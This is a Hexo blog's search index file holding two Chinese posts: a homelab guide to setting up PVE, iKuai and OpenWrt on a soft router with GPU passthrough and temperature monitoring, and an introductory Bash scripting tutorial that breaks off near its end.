-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
2584 lines (2455 loc) · 830 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>家庭组网-软路由</title>
<url>/archives/fb727318.html</url>
<content><![CDATA[<p>最近在折腾家庭组网,买了一个软路由:N5105+16G+256 SSD。pve+ikuai+openwrt。由于有两条宽带(移动+电信),因此,使用ikuai进行分流,op进行科学。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/BEC6IzjXfFMT3PV.png" alt="测速"></p>
<span id="more"></span>
<h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>之前在上个地方用的是电信+ESXI+iKuai+OpenWrt,由于电信给了公网IPV4,所以这套配置一直用的也很舒服。在现在这个地方已经装了移动的宽带,移动不给公网IPV4,通过使用ipv6的方式解决了公网访问,但是ipv6的情况ikuai没有防火墙配置,导致需要走op进行ipv6分配。那时候弄了半天,将ESXI改成PVE(其实是配置OpenWrt的防火墙时候,把策略都搞乱了。所以,重新搭建),成功使用ipv6(防火墙)。但存在不完美的地方,网卡需要经常重启,且openclash打开的情况,经常会出现访问国内网络不稳定(关了openclash也会出现)。因此,重新拉了一条电信宽带。</p>
<h1 id="系统安装"><a href="#系统安装" class="headerlink" title="系统安装"></a>系统安装</h1><h2 id="PVE"><a href="#PVE" class="headerlink" title="PVE"></a>PVE</h2><p>下载对应iso,使用BalenaEtcher烧录到U盘。从U盘启动进行安装即可。开启直通。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nano /etc/default/grub</span><br><span class="line"> GRUB_DEFAULT=0</span><br><span class="line"> GRUB_TIMEOUT=5</span><br><span class="line"> GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || <span class="built_in">echo</span> Debian`</span><br><span class="line"> GRUB_CMDLINE_LINUX_DEFAULT=<span class="string">"quiet intel_iommu=on"</span></span><br><span class="line"> GRUB_CMDLINE_LINUX=<span class="string">""</span></span><br><span class="line">update-grub</span><br><span class="line">nano /etc/modules</span><br><span class="line"> vfio</span><br><span class="line"> vfio_iommu_type1</span><br><span class="line"> vfio_pci</span><br><span class="line"> vfio_virqfd</span><br><span class="line">update-initramfs -u -k all.</span><br></pre></td></tr></table></figure>
<h2 id="iKuai"><a href="#iKuai" class="headerlink" title="iKuai"></a>iKuai</h2><p>创建虚拟机之后,加载iso之后配置对应LAN地址即可。需要添加PCIE设备,将所有网卡都添加进去。</p>
<p><img data-src="https://s2.loli.net/2023/04/11/OjT1NXzq9y2WrcD.png" alt="PCI"></p>
<h2 id="OenWrt"><a href="#OenWrt" class="headerlink" title="OenWrt"></a>OenWrt</h2><p>创建虚拟机之后,删除硬盘之后将对应img添加即可。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">qm importdisk 101 /var/lib/vz/template/iso/OpenWrt.img local-lvm</span><br></pre></td></tr></table></figure>
<h1 id="网络配置"><a href="#网络配置" class="headerlink" title="网络配置"></a>网络配置</h1><h2 id="iKuai-1"><a href="#iKuai-1" class="headerlink" title="iKuai"></a>iKuai</h2><p>直接划分两个WAN口,分别用作电信、移动拨号。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/9FMO7dB1sjwgpDx.png" alt="ikuai"></p>
<h3 id="PPOE"><a href="#PPOE" class="headerlink" title="PPOE"></a>PPOE</h3><p>将对应密码填入即可,将电信选择为默认线路。</p>
<h3 id="DHCP"><a href="#DHCP" class="headerlink" title="DHCP"></a>DHCP</h3><p>将网关地址设置为OpenWrt的地址、首选DNS也配置为OpenWrt的地址。</p>
<h3 id="DNS"><a href="#DNS" class="headerlink" title="DNS"></a>DNS</h3><p>DNS也将首选DNS配置为OpenWrt地址即可。</p>
<h3 id="跨三层应用"><a href="#跨三层应用" class="headerlink" title="跨三层应用"></a>跨三层应用</h3><p>由于是旁路由模式,所以配置SNMP服务器IP为OpenWrt即可。</p>
<h3 id="DDNS"><a href="#DDNS" class="headerlink" title="DDNS"></a>DDNS</h3><p>由于电信给了公网IP,配置ddns便于外网访问。【高级应用】-【动态域名】里进行配置,由于使用的是dnspod.cn,在使用前需要申请对应TokenID、Token Key,并且需要现在对应的域名中先创建一条对应的A记录。</p>
<p><img data-src="https://s2.loli.net/2023/04/17/zvy7ZA5C8NFg6KB.png" alt="动态域名"></p>
<p>配置完之后,在【网络配置】-【端口映射】里配置对应规则即可。</p>
<h3 id="分流"><a href="#分流" class="headerlink" title="分流"></a>分流</h3><p>暂未配置。(没想清楚如何分流更加合适,之后再配置)</p>
<h2 id="OpenWrt"><a href="#OpenWrt" class="headerlink" title="OpenWrt"></a>OpenWrt</h2><p>OpenWrt作为网关,并进行科学上网。</p>
<h1 id="PVE-1"><a href="#PVE-1" class="headerlink" title="PVE"></a>PVE</h1><h2 id="显卡直通"><a href="#显卡直通" class="headerlink" title="显卡直通"></a>显卡直通</h2><p>升级pve版本至7.4-3之后,修改以下配置。</p>
<p>换源</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /dev/null > /etc/apt/sources.list</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> > /etc/apt/sources.list <<<span class="string">EOF</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free</span></span><br><span class="line"><span class="string">deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free</span></span><br><span class="line"><span class="string">deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free</span></span><br><span class="line"><span class="string">EOF</span></span><br></pre></td></tr></table></figure>
<p>升级pre</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">apt update && apt install pve-kernel-5.19</span><br></pre></td></tr></table></figure>
<p>下载依赖</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /lib/firmware/i915 && <span class="built_in">cd</span> /lib/firmware/i915</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_guc_70.1.1.bin</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_huc_9.0.0.bin</span><br><span class="line">curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/icl_dmc_ver1_09.bin</span><br><span class="line"></span><br><span class="line">apt install software-properties-common</span><br><span class="line"></span><br><span class="line">wget -qO – https://repositories.intel.com/graphics/intel-graphics.key |</span><br><span class="line">apt-key add –</span><br><span class="line">apt-add-repository <span class="string">'deb [arch=amd64] https://repositories.intel.com/graphics/ubuntu focal main'</span></span><br><span class="line"></span><br><span class="line">apt install intel-microcode -y</span><br><span class="line">apt install intel-opencl-icd intel-level-zero-gpu level-zero intel-media-va-driver-non-free libmfx1</span><br><span class="line"></span><br><span class="line"><span class="built_in">ls</span> -l /dev/dri</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>安装lxc,并修改对应lxc配置</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/pve/lxc/102.conf <span class="comment"># 根据lxc对应ID进行修改</span></span><br><span class="line"> lxc.cgroup2.devices.allow: c 226:0 rwm</span><br><span class="line"> lxc.cgroup2.devices.allow: c 226:128 rwm</span><br><span class="line"> lxc.mount.entry: /dev/dri/card0 dev/dri/card0 none <span class="built_in">bind</span>,optional,create=file</span><br><span class="line"> lxc.mount.entry: /dev/dri/renderD128 dev/dri/renderD128 none <span class="built_in">bind</span>,optional,create=file</span><br><span class="line"> lxc.apparmor.profile: unconfined</span><br><span class="line"> lxc.cap.drop:</span><br><span class="line"></span><br><span class="line">vim /etc/modprobe.d/i915.conf</span><br><span class="line"> options i915 enable_guc=3</span><br><span class="line"> </span><br><span class="line">vim /lib/systemd/system/rc-local.service</span><br><span class="line"> [Install]</span><br><span class="line"> WantedBy=multi-user.target</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> <<<span class="string">EOF >/etc/rc.local</span></span><br><span class="line"><span class="string">#!/bin/sh -e</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string">#rc.local</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># This script is executed at the end of each multiuser runlevel.</span></span><br><span class="line"><span class="string"># Make sure that the script will "exit 0" on success or any other</span></span><br><span class="line"><span class="string"># value on error.</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># In order to enable or disable this script just change the execution</span></span><br><span class="line"><span class="string"># bits</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># By default this script does nothing.**</span></span><br><span class="line"><span class="string">chmod 777 /dev/dri/*</span></span><br><span class="line"><span class="string">exit 0</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> +x /etc/rc.local</span><br><span class="line">systemctl <span class="built_in">enable</span> rc-local.service</span><br><span class="line"></span><br><span class="line">reboot</span><br><span class="line"></span><br><span class="line">journalctl -b -o short-monotonic -k | egrep -i <span class="string">"i915|dmr|dmc|guc|huc"</span></span><br></pre></td></tr></table></figure>
<p>配置完之后,安装embyServer,并通过NFS挂载磁盘(lxc需开启特权,并且开放NFS功能)</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dpkg -i emby-server-deb_XXX_amd64.deb</span><br><span class="line"></span><br><span class="line">systemctl <span class="built_in">enable</span> emby-server</span><br><span class="line">systemctl start emby-server</span><br><span class="line"></span><br><span class="line">apt-get update && apt install intel-gpu-tools && sudo apt install nfs-common</span><br><span class="line">install_gpu_top</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> <<<span class="string">EOF >/etc/rc.local</span></span><br><span class="line"><span class="string">#!/bin/sh -e</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string">#rc.local</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># This script is executed at the end of each multiuser runlevel.</span></span><br><span class="line"><span class="string"># Make sure that the script will "exit 0" on success or any other</span></span><br><span class="line"><span class="string"># value on error.</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># In order to enable or disable this script just change the execution</span></span><br><span class="line"><span class="string"># bits</span></span><br><span class="line"><span class="string">#</span></span><br><span class="line"><span class="string"># By default this script does nothing.**</span></span><br><span class="line"><span class="string">mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string"># mount -t nfs ip:/volumnX/xxx /mnt/xxx</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> +x /etc/rc.local</span><br><span class="line">systemctl <span class="built_in">enable</span> rc-local.service</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="温度监控"><a href="#温度监控" class="headerlink" title="温度监控"></a>温度监控</h2><p>安装对应依赖</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get install lm-sensors</span><br><span class="line">apt-get install hddtemp</span><br><span class="line">apt-get install lm-sensors patch</span><br></pre></td></tr></table></figure>
<p>修改/usr/share/perl5/PVE/API2/Nodes.pm文件,在ksm后面加入对应内容。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="variable">$res</span>->{ksm} = {</span><br><span class="line"> shared => <span class="variable">$meminfo</span>->{memshared},</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"><span class="comment"># $res->{temperatures} = `sensors`;</span></span><br><span class="line"><span class="variable">$res</span>->{sensors_json} = `sensors -j`; <span class="comment"># JSON格式输出传感器数据</span></span><br><span class="line"><span class="variable">$res</span>->{smartctl_nvme_json} = `smartctl -a -j /dev/nvme?`; <span class="comment"># 读取 nvme 硬盘 S.M.A.R.T. 值,获取硬盘寿命、容量、温度等</span></span><br><span class="line"><span class="variable">$res</span>->{cpusensors} = `lscpu | grep MHz`; <span class="comment"># 读取 CPU 频率</span></span><br><span class="line"><span class="comment"># $res->{hddtemp} = `hddtemp /dav/sd?`; # JSON格式输出传感器数据</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>->{swap} = {</span><br><span class="line"> free => <span class="variable">$meminfo</span>->{swapfree},</span><br><span class="line"> total => <span class="variable">$meminfo</span>->{swaptotal},</span><br><span class="line"> used => <span class="variable">$meminfo</span>->{swapused},</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>->{pveversion} = PVE::pvecfg::package() . <span class="string">"/"</span> .</span><br><span class="line"> PVE::pvecfg::version_text();</span><br><span class="line"></span><br><span class="line">my <span class="variable">$dinfo</span> = <span class="built_in">df</span>(<span class="string">'/'</span>, 1); <span class="comment"># output is bytes</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$res</span>->{rootfs} = {</span><br><span class="line"> total => <span class="variable">$dinfo</span>->{blocks},</span><br><span class="line"> avail => <span class="variable">$dinfo</span>->{bavail},</span><br><span class="line"> used => <span class="variable">$dinfo</span>->{used},</span><br><span class="line"> free => <span class="variable">$dinfo</span>->{blocks} - <span class="variable">$dinfo</span>->{used},</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="built_in">return</span> <span class="variable">$res</span>;</span><br><span class="line"> }});</span><br></pre></td></tr></table></figure>
<p>修改/usr/share/pve-manager/js/pvemanagerlib.js,在cpuinfo后面添加对应内容。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> itemId: <span class="string">'cpus'</span>,</span><br><span class="line"> colspan: 2,</span><br><span class="line"> printBar: <span class="literal">false</span>,</span><br><span class="line"> title: gettext(<span class="string">'CPU(s)'</span>),</span><br><span class="line"> textField: <span class="string">'cpuinfo'</span>,</span><br><span class="line"> renderer: Proxmox.Utils.render_cpu_model,</span><br><span class="line"> value: <span class="string">''</span>,</span><br><span class="line">},</span><br><span class="line">{</span><br><span class="line"> itemId: <span class="string">'sensinfo'</span>,</span><br><span class="line"> colspan: 2,</span><br><span class="line"> printBar: <span class="literal">false</span>,</span><br><span class="line"> title: gettext(<span class="string">'温度传感器'</span>), // WEB显示内容</span><br><span class="line"> textField: <span class="string">'sensors_json'</span>,</span><br><span class="line"> renderer:<span class="keyword">function</span>(value){</span><br><span class="line"> value = JSON.parse(value.replaceAll(<span class="string">'Â'</span>, <span class="string">''</span>));</span><br><span class="line"> const c9 = value[<span class="string">'coretemp-isa-0000'</span>][<span class="string">'Package id 0'</span>][<span class="string">'temp1_input'</span>].toFixed(1);</span><br><span class="line"> const c0 = value[<span class="string">'coretemp-isa-0000'</span>][<span class="string">'Core 0'</span>][<span class="string">'temp2_input'</span>].toFixed(1);</span><br><span class="line"> const c1 = value[<span class="string">'coretemp-isa-0000'</span>][<span class="string">'Core 1'</span>][<span class="string">'temp3_input'</span>].toFixed(1);</span><br><span class="line"> const c2 = value[<span class="string">'coretemp-isa-0000'</span>][<span class="string">'Core 2'</span>][<span class="string">'temp4_input'</span>].toFixed(1);</span><br><span class="line"> const c3 = value[<span class="string">'coretemp-isa-0000'</span>][<span class="string">'Core 3'</span>][<span class="string">'temp5_input'</span>].toFixed(1);</span><br><span class="line"> // const f1 = value[<span class="string">'it8786-isa-0a40'</span>][<span class="string">'fan1'</span>][<span class="string">'fan1_input'</span>].toFixed(1);</span><br><span class="line"> const n1 = value[<span class="string">'nvme-pci-0100'</span>][<span class="string">'Composite'</span>][<span class="string">'temp1_input'</span>].toFixed(1);</span><br><span class="line"> const a0 = value[<span class="string">'acpitz-acpi-0'</span>][<span class="string">'temp1'</span>][<span class="string">'temp1_input'</span>].toFixed(1);</span><br><span class="line"> <span class="built_in">return</span> `主板温度: <span class="variable">${a0}</span>°C || CPU温度: <span class="variable">${c9}</span>°C || NVME温度: <span class="variable">${n1}</span>°C <br> CPU核心温度: <span class="variable">${c0}</span>°C || <span class="variable">${c1}</span>°C || <span class="variable">${c2}</span>°C || <span class="variable">${c3}</span>°C<br>`; // 输出格式</span><br><span class="line"> }</span><br><span class="line">},</span><br><span class="line">{ </span><br><span class="line"> itemId: <span class="string">'nvme_ssd'</span>,</span><br><span class="line"> colspan: 2,</span><br><span class="line"> printBar: <span class="literal">false</span>,</span><br><span class="line"> title: gettext(<span class="string">'NVME'</span>),</span><br><span class="line"> textField: <span class="string">'smartctl_nvme_json'</span>,</span><br><span class="line"> renderer: <span class="keyword">function</span>(value) {</span><br><span class="line"> value = JSON.parse(value);</span><br><span class="line"> <span class="keyword">if</span> (value[<span class="string">'model_name'</span>]) {</span><br><span class="line"> try {var model_name = value[<span class="string">'model_name'</span>];} catch(e) {var model_name = <span class="string">''</span>;} </span><br><span class="line"> try {var percentage_used = <span class="string">' | 使用寿命: '</span> + value[<span class="string">'nvme_smart_health_information_log'</span>][<span class="string">'percentage_used'</span>].toFixed(0) + <span class="string">'% '</span>;} catch(e) {var percentage_used = <span class="string">''</span>;} </span><br><span class="line"> try {var data_units_read = value[<span class="string">'nvme_smart_health_information_log'</span>][<span class="string">'data_units_read'</span>]*512/1024/1024/1024;var data_units_read = <span class="string">'(读: '</span> + data_units_read.toFixed(2) + <span class="string">'TB, '</span>;} catch(e) {var data_units_read = <span class="string">''</span>;} </span><br><span class="line"> try {var data_units_written = value[<span class="string">'nvme_smart_health_information_log'</span>][<span class="string">'data_units_written'</span>]*512/1024/1024/1024;var data_units_written = <span class="string">'写: '</span> + data_units_written.toFixed(2) + <span class="string">'TB)'</span>;} catch(e) {var data_units_written = <span class="string">''</span>;} </span><br><span class="line"> try {var power_on_time = <span class="string">' | 通电: '</span> + value[<span class="string">'power_on_time'</span>][<span class="string">'hours'</span>].toFixed(0) + <span class="string">'小时'</span>;} catch(e) {var power_on_time = <span class="string">''</span>;} </span><br><span class="line"> try {var temperature = <span class="string">' | 温度: '</span> + value[<span class="string">'temperature'</span>][<span class="string">'current'</span>].toFixed(1) + <span class="string">'°C'</span>;} catch(e) {var temperature = <span class="string">''</span>;} </span><br><span class="line"> <span class="built_in">return</span> `<span class="variable">${model_name}</span><span class="variable">${percentage_used}</span><span class="variable">${data_units_read}</span><span class="variable">${data_units_written}</span><span class="variable">${power_on_time}</span><span class="variable">${temperature}</span>`;</span><br><span class="line"> } <span class="keyword">else</span> { </span><br><span class="line"> <span class="built_in">return</span> `提示: 未安装硬盘或已直通硬盘控制器`;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">},</span><br><span class="line">{</span><br><span class="line"> itemId: <span class="string">'MHz'</span>,</span><br><span class="line"> colspan: 2,</span><br><span class="line"> printBar: <span class="literal">false</span>,</span><br><span class="line"> title: gettext(<span class="string">'CPU频率'</span>),</span><br><span class="line"> textField: <span class="string">'cpusensors'</span>,</span><br><span class="line"> renderer:<span class="keyword">function</span>(value){</span><br><span class="line"> var f0 = value.match(/CPU MHz.*?([\d]+)/)[1];</span><br><span class="line"> var f1 = value.match(/CPU min MHz.*?([\d]+)/)[1];</span><br><span class="line"> var f2 = value.match(/CPU max MHz.*?([\d]+)/)[1];</span><br><span class="line"> <span class="built_in">return</span> `实时: <span class="variable">${f0}</span> MHz || 最小: <span class="variable">${f1}</span> MHz | 最大: <span class="variable">${f2}</span> MHz `</span><br><span class="line"> }</span><br><span class="line">},</span><br></pre></td></tr></table></figure>
<p>然后重启pve服务即可。<code>systemctl restart pveproxy</code></p>
<p><img data-src="https://s2.loli.net/2023/04/17/u3B2VasAhvGbKjS.png" alt="pveStatus"></p>
]]></content>
<categories>
<category>瞎折腾</category>
</categories>
</entry>
<entry>
<title>Linux-Bash(一)</title>
<url>/archives/33a6bcb.html</url>
<content><![CDATA[<p><strong>我回来了</strong>,这次接触的是Linux下的shell脚本。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近常常在Linux下启动一堆服务,每次重启电脑就得敲一堆命令,让我这个懒癌患者深受困扰!!基于不想把它们加入开机自启的前提,就开始动手写个Bash脚本将它们一键全部启动。</p>
<h1 id="Bash"><a href="#Bash" class="headerlink" title="Bash"></a>Bash</h1><h2 id="解释器"><a href="#解释器" class="headerlink" title="解释器"></a>解释器</h2><p>shell脚本首行需要有一个固定的格式,其意义表明使用对应解释器解析该脚本,常常有/bin/bash,/bin/sh等,这里我用的是bash:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br></pre></td></tr></table></figure>
<h2 id="常用语法"><a href="#常用语法" class="headerlink" title="常用语法"></a>常用语法</h2><p>变量声明:<code>name=</code><br>变量调用:<code>$name</code><br>命令行参数获取:</p>
<figure class="highlight autoit"><table><tr><td class="code"><pre><span class="line">$0 <span class="meta"># 命令行第一个变量 往往为脚本名称</span></span><br><span class="line">$1 <span class="meta"># 命令行第二个变量</span></span><br><span class="line">$2 <span class="meta"># 命令行第三个变量</span></span><br><span class="line">$3 <span class="meta"># 命令行第四个变量</span></span><br><span class="line">$init <span class="meta"># 命令行第init变量</span></span><br></pre></td></tr></table></figure>
<p>多分支判断:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">case</span> str <span class="keyword">in</span></span><br><span class="line"> mode)</span><br><span class="line"> <span class="built_in">command</span></span><br><span class="line"> ;;</span><br><span class="line"> mode)</span><br><span class="line"> <span class="built_in">command</span></span><br><span class="line"> ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<h2 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h2><p>首先定义各个服务的工作目录设置成对应变量,使用分支判断调用不同功能:启动服务、杀死服务进程、修改服务配置等。</p>
<h1 id="脚本编写"><a href="#脚本编写" class="headerlink" title="脚本编写"></a>脚本编写</h1><p>根据编写思路,需要使用到的命令大致分为:启动、杀进程(kill)、修改(seq)等。</p>
<h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><p>在不同的环境变量下,启动服务的命令不同。在这里我拿启动python为例。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">python=/usr/bin/python</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line"> start)</span><br><span class="line"> <span class="variable">$python</span></span><br><span class="line"> ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51c7bcb2ac3.png" alt="shell-python.png"><br>使用./shell.sh start来启动python<br><img data-src="https://i.loli.net/2018/01/07/5a51c7fa606cb.png" alt="shell-start.png"></p>
<h2 id="杀进程"><a href="#杀进程" class="headerlink" title="杀进程"></a>杀进程</h2><p>Linux下使用kill命令即可杀进程,在这里我拿杀死启动的python为例。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">python=/usr/bin/python</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line"> <span class="built_in">kill</span>)</span><br><span class="line"> pid_python=`ps -ef|grep <span class="variable">$python</span>|grep -v <span class="string">"<span class="variable">$0</span>"</span>|grep -v <span class="string">"grep"</span>|awk <span class="string">'{print $2}'</span>`</span><br><span class="line"> <span class="built_in">kill</span> -9 <span class="variable">$pid_python</span></span><br><span class="line"> ;;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51ca441729b.png" alt="shell-python2.png"><br>使用./shell.sh kill来杀死python<br><img data-src="https://i.loli.net/2018/01/07/5a51ca9ba4a52.png" alt="shell-kill.png"></p>
<h2 id="修改"><a href="#修改" class="headerlink" title="修改"></a>修改</h2><p>需要对服务配置文件进行修改的时候,使用Linux的seq命令可以完成。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">config=/opt/config.cnf</span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="variable">$1</span> <span class="keyword">in</span></span><br><span class="line"> config)</span><br><span class="line"> sed -i <span class="string">'s/port=.*/port=80/g'</span> <span class="variable">$config</span></span><br><span class="line"> ;</span><br><span class="line"><span class="keyword">esac</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2018/01/07/5a51cc9692dd2.png" alt="shell-change.png"><br>使用./shell.sh config来修改config.cnf文件<br><img data-src="https://i.loli.net/2018/01/07/5a51cc6df312d.png" alt="shell-config.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在编写bash脚本的时候,大部分问题都是由格式、编码等引起。</p>
<ol>
